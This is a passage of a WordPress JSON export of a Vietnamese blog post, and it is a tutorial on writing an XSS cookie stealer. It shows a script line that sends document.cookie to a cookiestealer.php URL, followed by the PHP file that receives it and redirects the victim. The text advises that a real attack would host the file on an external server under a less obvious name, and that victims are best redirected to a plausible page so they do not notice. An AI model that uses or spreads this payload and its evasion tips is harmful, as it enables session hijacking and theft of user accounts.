class=\"enlighter-m3\">location<\/span><span class=\"enlighter-text\">=<\/span><span class=\"enlighter-s0\">&#8216;http:\/\/127.0.0.1\/cookiestealer.php?c=&#8217;<\/span><span class=\"enlighter-text\">+document.<\/span><span class=\"enlighter-m3\">cookie<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-g1\">3. &lt;<\/span><span class=\"enlighter-text\">\/script<\/span><span class=\"enlighter-g1\">&gt;<\/span><\/div>\n<\/div>\n<\/div>\n<div class=\"enlighter-toolbar-bottom enlighter-toolbar\">Code trang HTML b\u00e2y gi\u1edd s\u1ebd tr\u00f4ng gi\u1ed1ng nh\u01b0 h\u00ecnh b\u00ean d\u01b0\u1edbi.<\/div>\n<div><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-892\" src=\"https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-6-300x116.jpg\" alt=\"\" width=\"685\" height=\"265\" srcset=\"https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-6-300x116.jpg 300w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-6-768x296.jpg 768w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-6-373x144.jpg 373w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-6-80x31.jpg 80w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-6-620x239.jpg 620w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-6-460x177.jpg 460w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-6-365x141.jpg 365w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-6.jpg 954w\" sizes=\"auto, (max-width: 685px) 100vw, 685px\" \/><\/div>\n<div>\n<p>L\u1ec7nh JavaScript n\u00e0y \u0111\u1ee7 \u0111\u1ec3 g\u1eafn m\u1ed9t cookie v\u00e0o m\u1ed9t y\u00eau c\u1ea7u g\u1eedi \u0111\u1ebfn URL PHP, v\u00e0 \u0111\u00f3 l\u00e0 t\u1ea5t c\u1ea3 code JavaScript c\u1ea7n thi\u1ebft cho ch\u1ee9c n\u0103ng n\u00e0y. Ph\u1ea7n c\u00f2n l\u1ea1i c\u1ee7a qu\u00e1 tr\u00ecnh x\u1eed l\u00fd cookie s\u1ebd d\u00f9ng PHP.<\/p>\n<p><span data-darkreader-inline-color=\"\">B\u01b0\u1edbc 4: X\u1eed l\u00fd Cookie b\u1eb1ng PHP<\/span><\/p>\n<p>Ch\u00fang ta c\u00f3 th\u1ec3 ki\u1ec3m so\u00e1t nh\u1eefng g\u00ec m\u00ecnh l\u00e0m v\u1edbi cookie v\u00e0 n\u01a1i ch\u00fang ta ch\u1ec9 \u0111\u1ea1o ng\u01b0\u1eddi d\u00f9ng \u0111\u00e3 b\u1ecb \u0111\u00e1nh c\u1eafp cookie t\u1eeb trong t\u1ec7p PHP, \u0111\u01b0\u1ee3c x\u00e1c \u0111\u1ecbnh trong l\u1ec7nh JavaScript. Trong v\u00ed d\u1ee5 tr\u00ean, t\u00ean c\u1ee7a t\u1ec7p PHP n\u00e0y l\u00e0 cookiestealer.php v\u00e0 n\u00f3 n\u1eb1m tr\u00ean h\u1ec7 th\u1ed1ng c\u1ee5c b\u1ed9 t\u1ea1i 127.0.0.1.<\/p>\n<p>Nhi\u00eau \u0111\u00e2y l\u00e0 \u0111\u1ee7 \u0111\u1ec3 tri\u1ec3n khai th\u1eed nghi\u1ec7m n\u00e0y, nh\u01b0ng trong tr\u01b0\u1eddng h\u1ee3p th\u1ef1c t\u1ebf, t\u1ec7p PHP s\u1ebd \u0111\u01b0\u1ee3c ph\u00e2n ph\u1ed1i t\u1ed1t h\u01a1n v\u1edbi m\u1ed9t t\u00ean \u00edt r\u00f5 r\u00e0ng h\u01a1n v\u00e0 n\u1eb1m \u1edf IP ho\u1eb7c URL b\u00ean ngo\u00e0i.<\/p>\n<p>\u0110\u1ea7u ti\u00ean, t\u1ea1o m\u1ed9t t\u1ec7p PHP m\u1edbi trong c\u00f9ng th\u01b0 m\u1ee5c v\u1edbi t\u1ec7p index.html. B\u1ea1n c\u00f3 th\u1ec3 l\u00e0m nh\u01b0 v\u1eady b\u1eb1ng c\u00e1ch g\u00f5 l\u1ec7nh sau.<\/p>\n<p><code>nano cookiestealer.php<\/code><\/p>\n<p>Sau khi th\u00eam c\u00e1c d\u1ea5u ngo\u1eb7c m\u1edf v\u00e0 \u0111\u00f3ng PHP, ph\u1ea7n t\u1eed \u0111\u1ea7u ti\u00ean ch\u00fang ta mu\u1ed1n x\u00e1c \u0111\u1ecbnh l\u00e0 v\u1ecb tr\u00ed chuy\u1ec3n h\u01b0\u1edbng, nh\u01b0 trong v\u00ed d\u1ee5 n\u00e0y.<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-enlighter enlighter-hover enlighter-linenumbers \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-g1\">1. &lt;<\/span><span class=\"enlighter-text\">?php<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-m0\">2. header<\/span> <span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">&#8216;Location:https:\/\/google.com&#8217;<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">3. ?<\/span><span class=\"enlighter-g1\">&gt;<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>Ch\u00fang ta x\u00e1c \u0111\u1ecbnh \u0111\u00e2y l\u00e0 \u201cLocation\u201d theo sau \u201cheader\u201d, trong tr\u01b0\u1eddng h\u1ee3p n\u00e0y l\u00e0 \u201chttps:\/\/google.com.\u201d N\u00f3 c\u00f3 th\u1ec3 \u0111\u01b0\u1ee3c \u0111\u1eb7t th\u00e0nh b\u1ea5t c\u1ee9 th\u1ee9 g\u00ec b\u1ea1n mu\u1ed1n, mi\u1ec5n n\u00f3 l\u00e0 m\u1ed9t \u0111\u1ecba ch\u1ec9 c\u00f3 th\u1ec3 \u0111\u01b0\u1ee3c x\u1eed l\u00fd b\u1edfi tr\u00ecnh duy\u1ec7t web. \u0110\u1ec3 h\u1ea1n ch\u1ebf nguy c\u01a1 ng\u01b0\u1eddi d\u00f9ng bi\u1ebft \u0111\u01b0\u1ee3c m\u1ed9t cu\u1ed9c t\u1ea5n c\u00f4ng, t\u1ed1t nh\u1ea5t l\u00e0 chuy\u1ec3n h\u01b0\u1edbng h\u1ecd \u0111\u1ebfn m\u1ed9t trang c\u00f3 li\u00ean quan \u0111\u1ec3 h\u1ecd kh\u00f4ng c\u1ea3nh gi\u00e1c ho\u1eb7c b\u1ecb m\u1eafc k\u1eb9t trong v\u00f2ng l\u1eb7p v\u00f4 h\u1ea1n c\u1ee7a t\u1eadp l\u1ec7nh ch\u1ea1y qua ch\u1ea1y l\u1ea1i .<\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"enlighter-toolbar-bottom enlighter-toolbar\">Ngu\u1ed3n: <a href=\"https:\/\/anonyviet.com\/cach-lay-cookie-xss-chua-mat-khau-bang-javascript\/\">anonyviet.com<\/a><\/div>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p class=\"tx-excerpt\">JAVASCRIPT L\u00c0 G\u00cc ? JavaScript\u00a0l\u00e0 m\u1ed9t trong nh\u1eefng ng\u00f4n ng\u1eef ph\u1ed5 bi\u1ebfn nh\u1ea5t \u0111\u01b0\u1ee3c s\u1eed d\u1ee5ng tr\u00ean web. N\u00f3 c\u00f3 th\u1ec3 t\u1ef1 \u0111\u1ed9ng h\u00f3a v\u00e0 t\u1ea1o ho\u1ea1t \u1ea3nh cho c\u00e1c th\u00e0nh ph\u1ea7n c\u1ee7a","protected":false},"author":1,"featured_media":892,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[13],"tags":[],"class_list":["post-885","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog"],"jetpack_sharing_enabled":true,"jetpack_featured_media_url":"https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-6.jpg","_links":{"self":[{"href":"https:\/\/dt-corp.com.vn\/index.php?rest_route=\/wp\/v2\/posts\/885","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/dt-corp.com.vn\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/dt-corp.com.vn\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/dt-corp.com.vn\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/dt-corp.com.vn\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=885"}],"version-history":[{"count":1,"href":"https:\/\/dt-corp.com.vn\/index.php?rest_route=\/wp\/v2\/posts\/885\/revisions"}],"predecessor-version":[{"id":895,"href":"https:\/\/dt-corp.com.vn\/index.php?rest_route=\/wp\/v2\/posts\/885\/revisions\/895"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/dt-corp.com.vn\/index.php?rest_route=\/wp\/v2\/media\/892"}],"wp:attachment":[{"href":"https:\/\/dt-corp.com.vn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=885"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/dt-corp.com.vn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=885"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/dt-corp.com.vn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=885"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}